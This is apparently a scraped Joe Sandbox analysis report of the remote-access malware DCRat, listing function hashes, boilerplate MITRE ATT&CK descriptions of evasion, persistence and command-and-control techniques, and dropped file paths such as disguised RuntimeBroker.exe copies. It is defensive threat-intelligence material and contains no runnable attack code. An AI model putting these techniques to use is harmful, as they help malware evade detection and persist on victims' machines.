Instruction ID: 8d13dd5cb0b2543d97188dcfd1593a5bf760302835f58851e6a6139e6419b734
Opcode Fuzzy Hash: b696d1b2c56f144c900a2e935e553982aa1d4de219fff125a200597ad9ec0559
Instruction Fuzzy Hash: 7EF0E934A4D68A4FFB559F24CC752FD3FA0AF07312F0545BAE509C2082DA28A610D341

Function 00007FFD3467520B Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2267626779.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd34660000_Idle.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0b13b5e32b26510242be64f0ec3b3aea33b750acb1e98249440e7d9b4d88ce0
Instruction ID: bc8fc823dd77a36882c6b3e267e063ae00b66e87800ff2cd5ed18476c914c3bb
Opcode Fuzzy Hash: d0b13b5e32b26510242be64f0ec3b3aea33b750acb1e98249440e7d9b4d88ce0
Instruction Fuzzy Hash: AFD01275E54F5A4FEB80DE4C48DD2D97BE5FF68708B004169D91CD3151DF289411A780

Function 00007FFD3466451E Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2267626779.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd34660000_Idle.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 331a9c5fcca444130e1964262b70a96a803988a13263b7a83ef49b64d81bcd53
Instruction ID: 3ecef3f1167398423596d2d0703dd0af29f03da47bbf56772f9131262e2951ca
Opcode Fuzzy Hash: 331a9c5fcca444130e1964262b70a96a803988a13263b7a83ef49b64d81bcd53
Instruction Fuzzy Hash: E1E0ECB0E4A2398AE7288F1588A0BF87575AB07321F1045EDE15E623C1CE3D1D84AF14

Function 00007FFD34671865 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2267626779.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd34660000_Idle.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 557b92b745415e7c878750fe0804d81110ecfa7050e66c55a599d86619286397
Instruction ID: 0f87b7bb15fc51db066b3a7f0a62304493a274621d4148f9c20858038efbfa40
Opcode Fuzzy Hash: 557b92b745415e7c878750fe0804d81110ecfa7050e66c55a599d86619286397
Instruction Fuzzy Hash: DBD01234E0C2554FD3588F108CA85F97AA59F41201F1010BDE05D4A2B7CAB85548D714

Non-executed Functions

Function 00007FFD346753D1 Relevance: 10.1, Strings: 8, Instructions: 130COMMON

Download Yara Rule

Strings

@Yp4, xrefs: 00007FFD34675429
`Zp4, xrefs: 00007FFD34675459
4, xrefs: 00007FFD346754E8
pZp4, xrefs: 00007FFD34675469
Yp4, xrefs: 00007FFD34675409
@Zp4, xrefs: 00007FFD34675439
0Yp4, xrefs: 00007FFD34675419
PZp4, xrefs: 00007FFD34675449

Memory Dump Source

Source File: 00000028.00000002.2267626779.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd34660000_Idle.jbxd

Similarity

API ID:
String ID: Yp4$0Yp4$4$@Yp4$@Zp4$PZp4$`Zp4$pZp4
API String ID: 0-1626195623
Opcode ID: 5c7f2e0939427f4628c32e8cd6f0d4cf681240b0d9a857f36aca0c680e53ba88
Instruction ID: 664bd15b81b005782bc6e7d20cac0af98ef812515311316c1e2ac96f8a4d1c5d
Opcode Fuzzy Hash: 5c7f2e0939427f4628c32e8cd6f0d4cf681240b0d9a857f36aca0c680e53ba88
Instruction Fuzzy Hash: 4C41AB83B4F7E50FD391876C6C751B56FA0EF9326579883F7D184CE19B9C0898095781

Function 00007FFD3466FAB2 Relevance: 6.3, Strings: 5, Instructions: 65COMMON

Download Yara Rule

Strings

?, xrefs: 00007FFD3466FCE0
4, xrefs: 00007FFD3466FB03
\, xrefs: 00007FFD3466FCD3
<, xrefs: 00007FFD3466FAD8
], xrefs: 00007FFD3466E430

Memory Dump Source

Source File: 00000028.00000002.2267626779.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd34660000_Idle.jbxd

Similarity

API ID:
String ID: 4$<$?$\$]
API String ID: 0-2527292895
Opcode ID: 9e883d2b71a462d888b0f360dddc8b84248ca2e0a4fa0d04473b8399455f5b22
Instruction ID: c1f4b93c7c5f1e6fcb739c29b616d9a41087b6e353ba0c862ad17e8cdee91a5e
Opcode Fuzzy Hash: 9e883d2b71a462d888b0f360dddc8b84248ca2e0a4fa0d04473b8399455f5b22
Instruction Fuzzy Hash: 4F31D770E086298FEB69DF14C8A47EDB7B1BB19315F1046ADD10DD2284DB7C6A85DF40

Function 00007FFD3466EBA6 Relevance: 5.1, Strings: 4, Instructions: 75COMMON

Download Yara Rule

Strings

S, xrefs: 00007FFD3466EC7C
d, xrefs: 00007FFD3466EBE8
", xrefs: 00007FFD3466EC2E
X, xrefs: 00007FFD3466EBAE

Memory Dump Source

Source File: 00000028.00000002.2267626779.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd34660000_Idle.jbxd

Similarity

API ID:
String ID: "$S$X$d
API String ID: 0-3490186870
Opcode ID: e72e8d6b13f121f47a1c18dece4296203afa13cb3dcb401f2bc8ca409bc182d5
Instruction ID: b9bb23ca21ad6c2141388f3c57fe0ef02f199ae6835bdd8dae7ef609cb73eb32
Opcode Fuzzy Hash: e72e8d6b13f121f47a1c18dece4296203afa13cb3dcb401f2bc8ca409bc182d5
Instruction Fuzzy Hash: 5431ED70E092798FEB68DF24C8A47EEB6B1BB19311F0045EAD50DE2281DB7D5A84DF00

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report jx2eCe6ymR.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Java\jre-1.8\bin\plugin2\9e8d7a4ca61bd9

C:\Program Files (x86)\Java\jre-1.8\bin\plugin2\RuntimeBroker.exe

C:\Program Files\Adobe\Acrobat DC\76f3bf53489b45

C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe

C:\Program Files\Windows Media Player\76f3bf53489b45

C:\Program Files\Windows Media Player\nEuTyBtWAvjkYQrIMhtZWE.exe

C:\Program Files\Windows Photo Viewer\en-GB\76f3bf53489b45

C:\Program Files\Windows Photo Viewer\en-GB\nEuTyBtWAvjkYQrIMhtZWE.exe

C:\ProgramData\USOShared\9e8d7a4ca61bd9

C:\ProgramData\USOShared\RuntimeBroker.exe

C:\Recovery\76f3bf53489b45

C:\Recovery\9e8d7a4ca61bd9

C:\Recovery\RuntimeBroker.exe

Windows Analysis Report
jx2eCe6ymR.exe